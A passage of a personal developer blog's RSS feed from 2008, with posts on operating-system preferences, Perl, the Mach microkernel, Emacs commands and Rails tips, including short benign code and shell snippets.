<p>request.xhr? - if request is ajax-y</p>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Getting All Tables</h2><a id="user-content-getting-all-tables" class="anchor" aria-label="Permalink: Getting All Tables" href="#getting-all-tables"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-ruby"><pre><span class="pl-v">ActiveRecord</span>::<span class="pl-v">Base</span><span class="pl-kos">.</span><span class="pl-en">establish_connection</span><span class="pl-kos">(</span><span class="pl-c1">RAILS_ENV</span><span class="pl-kos">.</span><span class="pl-en">to_sym</span><span class="pl-kos">)</span>
<span class="pl-s1">connection</span> <span class="pl-c1">=</span> <span class="pl-v">ActiveRecord</span>::<span class="pl-v">Base</span><span class="pl-kos">.</span><span class="pl-s1">connection</span>

<span class="pl-en">options</span><span class="pl-kos">[</span><span class="pl-pds">:tables</span><span class="pl-kos">]</span> ||= <span class="pl-s1">connection</span><span class="pl-kos">.</span><span class="pl-en">tables</span><span class="pl-kos">.</span><span class="pl-en">reject</span> <span class="pl-kos">{</span> |<span class="pl-s1">t</span>| <span class="pl-kos">%w(</span><span class="pl-s">schema_info</span>
<span class="pl-s">sessions</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">include?</span><span class="pl-kos">(</span><span class="pl-s1">t</span><span class="pl-kos">)</span> <span class="pl-kos">}</span></pre></div>
  ]]></description>
</item>

<item>
  <title>Platform of Choice</title>
  <link>https://jch.github.io/posts/2008-06-28-platform-of-choice.html
</link>
  <guid>https://jch.github.io/posts/2008-06-28-platform-of-choice.html
</guid>
  <pubDate>Sat, 28 Jun 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I kept some rants and notes to myself a while back about what I
thought about some of the operating systems I've used and currently
use.  These notes are more about day-to-day usage from the perspective
of a software developer / power user rather than an objective review
of each platform.  I also update these pages with links to my favorite
apps and tricks I've come across.</p>
<div class="markdown-heading"><h2 class="heading-element">OSX</h2><a id="user-content-osx" class="anchor" aria-label="Permalink: OSX" href="#osx"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>It just works.</p>
<p>I think Apple's done a great job of make a day-to-day OS for dummies.  That way,
when I want to feel like a dummy and not obsessively configure every freaking detail,
I can just make some common sense assumptions and start working.</p>
<p>On the other hand, I like how OS X doesn't make you hit a brick wall once you've
done the common simple cases.  If you wanted or
needed to, it's perfectly accepted to open up and Terminal and <a href="http://www.macosxhints.com/index.php?topic=unix" rel="nofollow">have at
it</a>.  Whether it's a simple
shell script to do some text munging, or a regularly recurring task with cron,
Apple has made it easy for *nix geeks to be productive outside the pretty Aqua
UI.</p>
<p>I dislike fanboys.  Everyone new to OS X should check out <a href="http://www.kernelthread.com/mac/osx/" title="What is Mac OS X" rel="nofollow">"What is Mac OS
X"</a> for a serious myth
debunking and very interesting history and details about OS X.</p>
<p>I'm learning to program with Objective-C and Cocoa, so there'll be on
more these later.</p>
<div class="markdown-heading"><h3 class="heading-element">Software</h3><a id="user-content-software" class="anchor" aria-label="Permalink: Software" href="#software"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Since it's so easy to compile applications from *nix systems on OS X, linux
apps are readily available on OSX.  Both <a href="http://finkproject.org/" rel="nofollow">Fink</a>
and <a href="http://www.macports.org/" rel="nofollow">MacPorts</a> are good package management systems.</p>
<ul>
<li>
<p><a href="http://amarsagoo.info/namely/" rel="nofollow">Namely</a> Great light freeware launcher of
applications.  Quicksilver is too slow on my ibook.</p>
</li>
<li>
<p><a href="http://www.caminobrowser.org/" rel="nofollow">Camino</a> I used this browser for quite a
while because of some nit-picky details I had with Safari.  It integrates
better with OSX better than FF, but doesn't let you have extensions like FF.</p>
</li>
<li>
<p><a href="http://handbrake.m0k.org/" rel="nofollow">HandBrake</a> Rip dvds to mp4, avi, or ogm.</p>
</li>
<li>
<p>Terminal comes with OS X by default, but make sure you change the terminal
type to xterm (instead of xterm-color) or else your screen sessions
won't have a backspace.</p>
</li>
<li>
<p><a href="http://www.sshkeychain.org/" rel="nofollow">SSHKeychain</a> a very well done wrapper
around ssh-agent.  It uses apple's Keychain to store your key's
passwords, and will auto lock your private keys on customizable events.
Learn more about ssh in general
<a href="http://www.sshkeychain.org/mirrors/SSH-with-Keys-HOWTO/" title="SSH with Keys HOWTO" rel="nofollow">here</a></p>
</li>
<li>
<p><a href="http://www.parallels.com/products/desktop/" rel="nofollow">Parallels</a> For $80, you could have
a very sophisticated and usable VM to test against all different types of OS's.
I have not tried VMWare on OS X yet.</p>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Linux</h2><a id="user-content-linux" class="anchor" aria-label="Permalink: Linux" href="#linux"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>A fan boy's fantasy or salvation for corporate environments?</p>
<p>Sometime before high school, my dad brought home 2 O'Reilly Linux
books.  He never looked at them again after he wrapped them, but told
me that *nix was important.  This confused me since he was a Windows
admin guy.  The book was on RedHat 5.1 and I installed it on my newly
upgraded Pentium MMX 233/266Mhz machine.  I got really excited about
the philosophy and freeness the books touted.  Watching Gnome start
up, and something non-Windows on my computer was also a treat.
Fortunately for me, those early windowing apps were absolute garbage.
This forced me to the command line and made me learn how to get around
without a GUI.  I remembered my DOS days very fondly, so the
transition wasn't a big deal.  I remember having a heck of a time
getting a floppy to mount in Linux.  I had to ask Sean's dad (a
Berkeley professor!) because it was so frustrating.  Man pages aren't
designed for impaitient noobs.  RedHat was a gateway drug for me.  I
moved on to try several different distributions.  At the time, I tried
them haphazardly and didn't really know what I was looking for.  I
judged each distribution by how hard it was to install and how easy it
was to get software loaded on it.  The RH book totally lied about
RPMs.  I tried Slackware and enjoyed the packaging system much more than
RPMs.  When I volunteered for the ACCRC refurbishing computers for
nonprofits, I installed Suse 7 on those machines.  After I tried
Debian Potato, I was pretty hooked.  Woody was even more amazing
(fresher packages).  Even today, after Ubuntu has redefined ease of
use, I continue to use Debian because I see no reason to switch.</p>
<div class="markdown-heading"><h3 class="heading-element">Applications</h3><a id="user-content-applications" class="anchor" aria-label="Permalink: Applications" href="#applications"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<a href="http://dev.ojnk.net/" rel="nofollow">pork</a> - the best aim/irc client, ever.</li>
<li>
<a href="http://www.gnu.org/software/screen/" rel="nofollow">gnu screen</a> - an absolute must if you use ssh.
It's not impressive until you customize your .screenrc
Usually it's nice to have screen running to keep your ssh sessions alive as well.
If you're unlucky and have your screen killed, then you get a message:
<em>Suddenly the Dungeon collapses!! - You die...</em>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">DOS</h2><a id="user-content-dos" class="anchor" aria-label="Permalink: DOS" href="#dos"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Instant bootup, instant shutdown, excellent throughput, zero hassle, what's not to like?</p>
<blockquote>
<p><em>640K ought to be enough for anybody - incorrected attributed to Bill Gates</em></p>
</blockquote>
<p>DOS was an easy to love operating system.  Any negative brought up against DOS
can be "scoped out".  I didn't miss multitasking; It had <a href="http://en.wikipedia.org/wiki/The_Lost_Vikings" title="The Lost Vikings" rel="nofollow">graphics and
sound</a>;</p>
<p>I plan to explore more with <a href="http://www.freedos.org/" rel="nofollow">FreeDos</a> when I set up my VMs</p>
<div class="markdown-heading"><h3 class="heading-element">Pros</h3><a id="user-content-pros" class="anchor" aria-label="Permalink: Pros" href="#pros"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>instant bootup/shutdown.  Unrivaled by anything available today.  It's even
faster than my stupid cell phone.</li>
<li>minimal set of commands.  It was very easy to remember them and use.</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Cons</h3><a id="user-content-cons" class="anchor" aria-label="Permalink: Cons" href="#cons"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>setting up extended memory was hard :(</li>
<li>I wish the commands and options were more *nix like.</li>
<li>instant shutdown is a double edged sword</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Windows</h2><a id="user-content-windows" class="anchor" aria-label="Permalink: Windows" href="#windows"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Good to you if you don't know any better.</p>
<p>After I put debian on my desktop computer and bought an ibook for a
laptop. I stopped using windows completely.  The NT family of OS's
were solid, and I never really had any problems with XP.  On the other
hand, I didn't have any problems because I was very careful with what
I did on that computer.  I haven't kept up with Vista at all.</p>
  ]]></description>
</item>

<item>
  <title>Fuzz Testing and Being a Dick</title>
  <link>https://jch.github.io/posts/2008-06-11-fuzz-testing-and-being-a-dick.html
</link>
  <guid>https://jch.github.io/posts/2008-06-11-fuzz-testing-and-being-a-dick.html
</guid>
  <pubDate>Wed, 11 Jun 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I really couldn't help myself with this one.  Someone gave me the
privledge to play around with their pet project, and the first thing I
thought of was to read the HTML, and write a bash loop to spew all
over it.  We both got a kick out of it.</p>
<p>The end result is both hilarious, and kind of artsy too.  I think it
greatly encapsulates my <em>feelings</em> towards input validation.</p>
<p><a href="/images/lifelog.png"><img src="/images/lifelog-thumb.png" alt="0wn3d lifelog with overlapping random white characters over grey" style="max-width: 100%;"></a></p>
  ]]></description>
</item>

<item>
  <title>my $perl;</title>
  <link>https://jch.github.io/posts/2008-05-20-my-perl.html
</link>
  <guid>https://jch.github.io/posts/2008-05-20-my-perl.html
</guid>
  <pubDate>Tue, 20 May 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>My first exposure to Perl was near the end of high school when I was
working as a computer assistant at the USDA Forest Service.  I really
can't recall the exact gut feeling Perl gave me at the time, but I
imagine it was a mixture of disgust and delight.  A few years later,
near the end of my undergrad career, Perl came back into my life.
Only instead of a few simplistic scripts, Perl was now the core language
for my job.</p>
<p>At the USDA, my main duty was to troubleshoot and help out with small
computer problems.  This included plenty of mundane tasks like
cataloging and auditing old unused hardware, reimaging peoples'
laptops and helping people with network issues.  Fortunately, my
super-nice boss Keiko let me have fun tasks like tweak and mess around
with the web templates (my first exposure to CSS), and write and
maintain little scripts.  Mike the IT guy also loaned me his <a href="http://www.amazon.com/gp/product/0596101058?ie=UTF8&amp;tag=what0d-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596101058" rel="nofollow">llama</a>
and <a href="http://www.amazon.com/gp/product/0596000278?ie=UTF8&amp;tag=what0d-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=0596000278" rel="nofollow">camel</a>
books.  Both of these were written in a very light-hearted and
cheerful tone.  That bit really stuck with me.</p>
<p>Perl came in the form of a single large file that had the
responsibility of summarizing and publishing journal articles to the
web directories.  I tweaked this file several times, and each time
involved multiple searches to find where I was supposed to make
changes.  The script was laid out like a well organized essay.  It
started with an introduction of all the global variables and
configurations the rest of the script used.  Then it did a lot of
preparation work to do checks and to satisfy assumptions.  This was
followed by paragraph after paragraph of all the tasks that the script
was able to handle.  Finally we concluded with the CGI parameters
parsing and a giant block of conditional logic to dispatch what needed
to be done.  There was comic relief throughout the script in the form
of comments the writer wrote to himself.  I hated reading through it,
but at the same time, I loved the amount of time and effort it saved
everybody.  Instead of a program, I thought of it more as a batch
script of commands with just a sprinkle of glue logic to make it all
come together.  It could've been done cleaner, but there's are
appropriate times for quick and dirty as well.</p>
<p>That script taught me a width breadth of new and fun things.  My first
encounter with regexps was in Perl, an indispensible tool.  I also saw
closures and used them before I even knew what a closure was.  There
were all these mystical constructs obfuscated by the gross overuse of
implicit hidden variables and inconsistent syntax.  It was like a
riddle that you solved backwards by spying on it's behavior.</p>
<p>Fast forward 4 years to the end of my Berkeley education.  I work at
RSSP-IT (previously Rescomp).  What's different about this new
situation?  Well, I know more theoretical computer science, and I also
know more software engineering.  I'd also like to think that I've come
a long ways in recognizing good design, and hope that I can mimic and
even come up with good designs on my own.  Perl hasn't changed since
the last time I saw it.  However, instead of a few simple scripts run
start to finish by a cron job, this incarnation of Perl was a decade
of codebase that powered live critical systems.  Here and there I
still see a few scripts that run from start to finish.  But for the
most part, I see large systems with beefy data backends, reusable
modules of logic, and complex dependencies and hierarchies.
Generations of programmers sweat and sticky keyboards have gone into
the code.  The code could probably be plotted on a timeline to chart
our follies and achievements.  DBIx::Class?  Great idea.  Inline html
for cgi scripts?  That was a hiccup and a bad choice.</p>
<p>All in all though, I continue to feel the same love hate relationship
with Perl.  The funny part is that I love it for it's flexibilty in
usage, but I also hate it for the exact same reason.  I don't think
Perl is my favorite language, but Perl will always have a special
place.  I love the one-liners you can do with Perl.  I love the time
I've spent with the <a href="http://perlmonks.org/" rel="nofollow">Perl Monks</a>.  I love
thinking about automating small tasks and finding cute solutions with
Perl.  This doesn't include writing a large maintainable application
in Perl.  That much discipline and structure just doesn't go well with
this language.  Sometimes you see a problem, and you can just
immediately visualize the stream of gibberish syntax to solve it.  You
know it won't be understood by other people.  You know it won't be
maintainable, and someone will hate you in the future for it.  You
know it's a hack.  But you also can't stop smiling, because you know
you're having a good time with Perl.</p>
<div class="markdown-heading"><h2 class="heading-element">Miscellaneous Stuff</h2><a id="user-content-miscellaneous-stuff" class="anchor" aria-label="Permalink: Miscellaneous Stuff" href="#miscellaneous-stuff"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Switch control statement in Perl 5.1.10</p>
<pre><code>given ($^O) {
  when (/linux/)      { $file_path = '/mnt/foo' }
  when (/mswin32|nt/) { $file_path = '\\C:\foo.exe' }
  default { die "FOO was not intended..." }
}
</code></pre>
  ]]></description>
</item>

<item>
  <title>Kernel Designs</title>
  <link>https://jch.github.io/posts/2008-05-03-kernel-designs.html
</link>
  <guid>https://jch.github.io/posts/2008-05-03-kernel-designs.html
</guid>
  <pubDate>Sat, 03 May 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I really enjoyed my introductory operating systems class at Berkeley.
The class focused on classic high level OS concepts like process
models, virtual memory, concurrency, and more.  To go along with the
material, teams of 4 formed to implement components in a toy OS called
<a href="http://www.cs.washington.edu/homes/tom/nachos/" rel="nofollow">Nachos</a>.  The purpose
of this was to keep students focused on the concepts rather than wade
through the quagmire that is x86 assembly.</p>
<p>I was very proud of the finished project.  We wrote basic processes
and threads with priorities, memory manangement, system calls, and a C
chat program.  All of this could be booted up and ran on the virtual
'Machine' object that emulated a MIPs architecture machine.</p>
<p>Unfortunately, I did not follow up with more advanced topics after the
class, and while those high level concepts are solid fundamentals, I
sorely wish to see what designs have been tried in practice, along
with their benefits and drawbacks.  Rather than dive blindly into the
source of popular open source kernels from Linux and BSD, I plan to
start by reading some research papers on kernel design.  Hopefully
this will refresh my memory about some key terms while letting me
survey what's available.</p>
<div class="markdown-heading"><h2 class="heading-element">Mach Microkernel</h2><a id="user-content-mach-microkernel" class="anchor" aria-label="Permalink: Mach Microkernel" href="#mach-microkernel"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The Mach kernel is a microkernel developed by CMU in the eighties to
address issues with multiprocessors and networked environments, and
the growing complexity of BSD systems.</p>
<p>BSD began with a very clean and simple abstraction of files to model
major components such as devices and memory.  Using files allowed for
very natural manipulation of these resources with pipes and simple
utilities.  Unfortunately, this abstraction did not fit later desired
features.  This lead to adding orthogonal abstractions for different
tasks.  Mach tries to bring back a clean uniform interface with a
objected-oriented abstraction.  The 4 basic abstractions are:</p>
<ul>
<li>
<p>task - execution environment.  Think of this as a basic container
for everything needed to run a program.  Things like virtual memory
address space, file descriptors, threads, capabilities and other
resources.  Example messages: fork, allocate (memory)</p>
</li>
<li>
<p>thread - basic unit of computation.  Similar to threads in processes
for Unix.  Example messages: destroy, suspend, resume.</p>
</li>
<li>
<p>port - communication channel.  A way to reference other tasks and
threads.  An object sends a 'message' to another object through a
port on the receiving object.  Messages are queued up in ports.
Think classic Smalltalk and Objective-C style message passing.</p>
</li>
<li>
<p>message - actions and data between tasks and threads.</p>
</li>
</ul>
<p>The emphasis on separating tasks and threads seems like a big idea of
the paper.  I originally thought that Unix had multiple threads per
process, but from the paper, it sounds like at that time Unix used
very expensive forks and hacks in order to achieve concurrency.  A
great example they used for supporting the task/thread abstraction is
machines with <em>N</em> processors.  Instead of creating <em>N</em> heavy weight
processes with 1 thread each, Mach would create 1 heavy weight task to
describe what's needed to run, and <em>N</em> relatively lightweight threads
to take advantage of the concurrency.</p>
<div class="markdown-heading"><h2 class="heading-element">Virtual Memory</h2><a id="user-content-virtual-memory" class="anchor" aria-label="Permalink: Virtual Memory" href="#virtual-memory"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The abstraction for virtual memory allows Mach to be machine
independent.  Each task holds it's own 'address map' of what memory it
owns.  This is the same as the basic concept I learned in class.  The
maps map from address to either virtual memory (VM) objects, or to
'shared maps'.  The 'shared maps' are a way for tasks to share memory.
VM objects are either pages that have already been fetched, or
instructions of where to fetch the page if it hasn't been fetched.
Pages themselves have attributes that specify their current status and
properties.</p>
<div class="markdown-heading"><h2 class="heading-element">Interprocess Communication</h2><a id="user-content-interprocess-communication" class="anchor" aria-label="Permalink: Interprocess Communication" href="#interprocess-communication"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>BSD sockets are simply streams of bytes left up to the application to
interpret.  Mach's port/message abstraction provides uniform
interprocess communication.  There is no difference between two
processes on the same host talking, verus two processes on different
network hosts talking.  On top of that, the port/message mechanism
lets you add meaning and stricter checking on the data that is passed
around.  Capabilites of who can send and receive what can also be
enforced.</p>
  ]]></description>
</item>

<item>
  <title>Emacs Tips</title>
  <link>https://jch.github.io/posts/2008-04-22-emacs-tips.html
</link>
  <guid>https://jch.github.io/posts/2008-04-22-emacs-tips.html
</guid>
  <pubDate>Tue, 22 Apr 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>Earlier, I wrote a quick into of how to <a href="/articles/2008/02/14/customizing_emacs">customize your
emacs</a>, but then I realized
that I had no running list of cool emacs tricks.  This article sets
out to remedy that with a list of my favorite commands.  It's by no
means complete, so I'll keep adding on to when when I learn more
stuff.  The <a href="http://www.amazon.com/gp/product/1882114868?ie=UTF8&amp;tag=what0d-20&amp;linkCode=as2&amp;camp=1789&amp;creative=9325&amp;creativeASIN=1882114868" rel="nofollow">Gnu
Emacs Manual</a> is a good reference to flip through from time to time
to learn new tricks.</p>
<div class="markdown-heading"><h2 class="heading-element">Getting Help</h2><a id="user-content-getting-help" class="anchor" aria-label="Permalink: Getting Help" href="#getting-help"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>A good one to start with that I admit I don't use as much as I should
is 'M-x help'.  This presents a menu of help sections available.  I
recommend sticking with 'a' for apropos and guessing what you're
interested in.</p>
<div class="markdown-heading"><h2 class="heading-element">Identing</h2><a id="user-content-identing" class="anchor" aria-label="Permalink: Identing" href="#identing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The trick that never grows old is to re-indent a region.  The command
to do it is 'C-M |', but it's really inconsistent and hard to type all
three of those at once.  Fortunately, 'ESC' is a stick meta, so I
generally do 'ESC' [let go] 'C-|' (the pipe character).  This is great
for when you just paste from another buffer with different indents,
because the most recent paste is the selected region that gets
reindented.</p>
<div class="markdown-heading"><h2 class="heading-element">Find and Replace</h2><a id="user-content-find-and-replace" class="anchor" aria-label="Permalink: Find and Replace" href="#find-and-replace"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The find and replace can be started with 'M-%'.  You type the string
to find, RET, then the string to replace.  Emacs will highlight each
occurance and prompt you for each replacement.  Space to skip, 'y' to
replace and go to the next replacement, '.' to replace and stop, '!'
to replace all remaining.</p>
<p>The same can be done with regular expression find and replaces with
'M-x query-replace-regexp'.  Remember that to create a group in Emacs
regex, you have you escape your parenthesis.  So to do the Perl
equivalent of s/foo (bar)//, you would do 'M-x
query-replace-regexp', 'foo (bar)', ''.</p>
<div class="markdown-heading"><h2 class="heading-element">Diffs and Patches</h2><a id="user-content-diffs-and-patches" class="anchor" aria-label="Permalink: Diffs and Patches" href="#diffs-and-patches"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Sick and tired of straining your eyes and hands to applying those ever
tedious diffs and patches?  Fear not, diff-mode to the rescue!</p>
<p>It's a pretty common use case to pick specific change in one branch of
subversion and apply it to a stable branch.  The way I work through
this is to:</p>
<pre><code>svn diff BRANCH_OLD BRANCH_CHANGES &gt; changes.diff
emacs changes.diff
</code></pre>
<p>Immediately, you'll notice a much friendlier, more colorful diff.  You
can jump from hunk to hunk with 'n' and 'p'.  If you RET on a hunk,
then it'll jump to the source file to give you more context.  To apply
or undo a hunk, simply 'C-c C-a'.  Emacs will prompt you if it's an
undo.</p>
<p>If you don't have a diff on hand, you can specify which two files to
diff and use ediff-mode.  Simply open an emacs, M-x ediff-mode, and
specify the two files to diff.  It'll put them in two buffers A, and
B.  Press '?' to bring a menu of keys.  The main ones are n, p, a, b,
wa, wb.</p>
<div class="markdown-heading"><h2 class="heading-element">Macros</h2><a id="user-content-macros" class="anchor" aria-label="Permalink: Macros" href="#macros"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The most basic usage is to do 'C-x (' to start recording a macro; do
what you need to do; and 'C-x )' to end the macro.  'C-x e' executes a
macro, and you can 'M-x apply-macro-to-region-lines'.  I still need to
learn to use these better ;)</p>
<div class="markdown-heading"><h2 class="heading-element">Managing Buffers</h2><a id="user-content-managing-buffers" class="anchor" aria-label="Permalink: Managing Buffers" href="#managing-buffers"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To split the window, use 'C-x 2', and 'C-x 3'.  They split the window
horizontally and vertically respectively.  To switch buffers, 'C-x
b'.  You can tab complete the file names here.  To see a list of
buffers, 'C-x C-b'.  Switching to a directory will put you in
dired-mode.  More on that later.</p>
<div class="markdown-heading"><h2 class="heading-element">Cut Copy and Paste</h2><a id="user-content-cut-copy-and-paste" class="anchor" aria-label="Permalink: Cut Copy and Paste" href="#cut-copy-and-paste"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Beyond the basics of cut, copy and paste, I also like 'C-x r d' which
deletes a selected block region, and 'C-x r t', which inserts a
selected block region.</p>
<div class="markdown-heading"><h2 class="heading-element">Running Shell Commands</h2><a id="user-content-running-shell-commands" class="anchor" aria-label="Permalink: Running Shell Commands" href="#running-shell-commands"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The easiest case is when you just want to quickly see the output of a
command without switching to another terminal.  Simply do 'M-!' and
type your command, and the output will show in the minibuffer.
Another clever one that I don't use as much is 'M-|', which runs
shell-command-on-region.  The best part is that if you wanted the
output of the shell command in the buffer you're visiting, just M-! or
M-| with M-5, or any other number.  I use this one all the time when I
have to type a shebang line and I'm not sure where the binary is
located:</p>
<pre><code>#! M-5 M-! which python
</code></pre>
<div class="markdown-heading"><h2 class="heading-element">Debugging</h2><a id="user-content-debugging" class="anchor" aria-label="Permalink: Debugging" href="#debugging"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I don't use gdb and other debuggers enough to have all this in my
muscle memory yet, but Emacs is a dream when it comes to debugging C.
'M-x gdb' starts gdb in a separate buffer.  Then you can specify
breakpoints in any source buffer by doing 'C-space'.  Other useful
commands basic commands include:</p>
<pre><code>C-c n - next
C-c s - step
C-c f - run to end of frame
</code></pre>
<p>I haven't used the other debuggers, but I know there's they're
available for other languages.</p>
  ]]></description>
</item>

<item>
  <title>Rails Tips</title>
  <link>https://jch.github.io/posts/2008-03-12-rails-tips.html
</link>
  <guid>https://jch.github.io/posts/2008-03-12-rails-tips.html
</guid>
  <pubDate>Wed, 12 Mar 2008 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>I have started, abandoned, and restarted many pet rails projects.  All
hype aside, I've collected a fair amount of rails idioms.  Whenever I
come across a problem I know I've dealt with in the past, I usually
run a few greps through my past projects to look for an answer.  The
following pages are disorganized tips of things I have done that are
useful.</p>
<ul>
<li>
<p>if an ActiveRecord::Base object 'foo' doesn't agree with what's in
the database, simply do foo.reload.  To make changes in the instance
go to the database, do foo.save.  For many of the Base methods, you
can append a ! to the end of the method name and it'll raise an
exception instead of returning false on failure.  For example, save
vs save!</p>
</li>
<li>
<p>If you can't find a method or variable in a class, check the parent
class (Class ChildClass &lt; ParentClass), or look for 'include
ModuleName', where ModuleName can exist in the lib/ or
vendor/plugins directory.</p>
</li>
<li>
<p><a href="http://glu.ttono.us/articles/2006/05/22/configuring-rails-environments-the-cheat-sheet" rel="nofollow">Rails config
variables</a></p>
<ul>
<li>also good for setting vars for actionpack components</li>
</ul>
</li>
<li>
<p>config.observer... - registers a callback for when something happens
to a model.  Can be done with before_save, but can also be done
externally and shared between models.</p>
</li>
<li>
<p>ActiveRecord::Base.logger = Logger.new(STDOUT) - to just have SQL
statements print to stdout.</p>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Testing</h2><a id="user-content-testing" class="anchor" aria-label="Permalink: Testing" href="#testing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p><a href="http://nubyonrails.com/articles/2006/04/19/autotest-rails" rel="nofollow">autotest</a></p>
<ul>
<li>This gem watches for filesystem changes and only runs tests that
have been updated.  It's fast and it colorizes results.  I use it in
conjunction with RSpec, and rspec-rails.</li>
</ul>
</li>
<li>
<p>rails_rcov - wrapper that gives you rake tasks to
<a href="http://eigenclass.org/hiki.rb?rcov" rel="nofollow">rcov</a>. To show test code
coverage.</p>
</li>
<li>
<p><a href="http://cruisecontrolrb.thoughtworks.com/" rel="nofollow">CruiseControl</a> -
continuous integration tool that reports build and test errors.  The
link is specific to ruby projects.</p>
</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">RSpec</h3><a id="user-content-rspec" class="anchor" aria-label="Permalink: RSpec" href="#rspec"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>RSpec is an implementation of Behavior Driven Design (BDD).  It's a
declarative form of design and test.  When I first learned testing, I
learned it as imperatively setting up state, doing some actions, and
then verifing the end state.  The big problems I had with testing was
always getting tangled up in complex dependencies between different
components.  This made it really hard to focus on the system being
tested.  I'm looking more into using mocks and stubs to replace
fixtures and real models when it makes sense to.  BDD helps with this
because it focuses on beahavior and specification rather than
implementation.</p>
<ul>
<li>
<p><a href="http://rspec.info/" rel="nofollow">RSpec</a> - the library itself</p>
<ul>
<li>gem install rspec, rspec-rails, diff-lcs, ZenTest</li>
<li>script/generate spec</li>
<li>rake -T | grep spec</li>
<li>should, should_not are
<a href="http://rspec.info/rdoc/classes/Spec/Expectations.html" rel="nofollow">Spec::Expectations</a>
</li>
</ul>
</li>
<li>
<p><a href="http://kpumuk.info/rspec/useful-helpers-for-rspec-mocks/" rel="nofollow">mock_model</a></p>
<ul>
<li>good for mocking up ActiveRecord objects</li>
</ul>
</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">Plugins and Gems</h2><a id="user-content-plugins-and-gems" class="anchor" aria-label="Permalink: Plugins and Gems" href="#plugins-and-gems"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<p><a href="http://www.pathf.com/blogs/2008/07/visualizing-your-database-schema-entirely-in-rails/" rel="nofollow">schema-browser</a></p>
</li>
<li>
<p><a href="http://agilewebdevelopment.com/plugins/restful_authentication" rel="nofollow">restful_authentication</a></p>
<ul>
<li>straightforward plugin that requires just a little bit of tweaking
and config.  Works great if your user model acts_as_state_machine.</li>
</ul>
</li>
<li>
<p><a href="http://code.google.com/p/rolerequirement/" rel="nofollow">role_requirement</a> -
plays well with restful_authentication.  I haven't tried this one
before.  I did use <a href="http://active-rbac.rubyforge.org/" rel="nofollow">Active RBAC</a>
with positive results before.</p>
</li>
<li>
<p>acts_as_state_machine - amazing mixin that can make your
models act like a state machine.  It allows you to register
callbacks for when a model's state changes.</p>
</li>
<li>
<p>SyslogLogger - logger that goes to syslog.  Not a fan of this one,
but I've seen it in use.</p>
</li>
<li>
<p><a href="http://labs.reevoo.com/plugins/simple-config" rel="nofollow">SimpleConfig</a></p>
<ul>
<li>haven't used it, but will work.</li>
</ul>
</li>
</ul>
<div class="markdown-heading"><h3 class="heading-element">Gem Dependencies</h3><a id="user-content-gem-dependencies" class="anchor" aria-label="Permalink: Gem Dependencies" href="#gem-dependencies"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I like to have my projects be self-contained.  This means that when
you check out one of my projects, you should be able to setup your
database, do a rake or two, and be on your way.</p>
<p>There are several fixes to this problem.  The cleanest one that I've
choosen is to update to Edge Rails with:</p>
<pre><code>rake rails:freeze:edge
</code></pre>
<p>then follow <a href="http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies" rel="nofollow">Ryan's Scraps Gem
Dependencies</a>
article.</p>
<p>Unfortunately, upgrading to Edge Rails might not be feasible.  In
this case, one solution is to mimic what Edge Rails does:</p>
<pre><code>mkdir RAILS_ROOT/vendor/gems
gem install FOO --install-dir RAILS_ROOT/vendor/gems
</code></pre>
<p>To make your rails app recognize the installed gems, update your
environment.rb to look in the newly created subdirectory with
config.load_paths.</p>
<p>Another interesting plugin that I haven't looked into is
<a href="http://www.rubyinside.com/advent2006/12-piston.html" rel="nofollow">piston</a> which
gives you all the advantages of svn:externals, but also allows you
to commit local changes to your own repo.</p>
<div class="markdown-heading"><h2 class="heading-element">Escaping HTML</h2><a id="user-content-escaping-html" class="anchor" aria-label="Permalink: Escaping HTML" href="#escaping-html"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>See
<a href="http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/classes/ERB/Util.html" rel="nofollow">ERB::Util</a>
for the following:</p>
<ul>
<li>html_escape</li>
<li>url_encode</li>
<li>url_decode</li>
</ul>
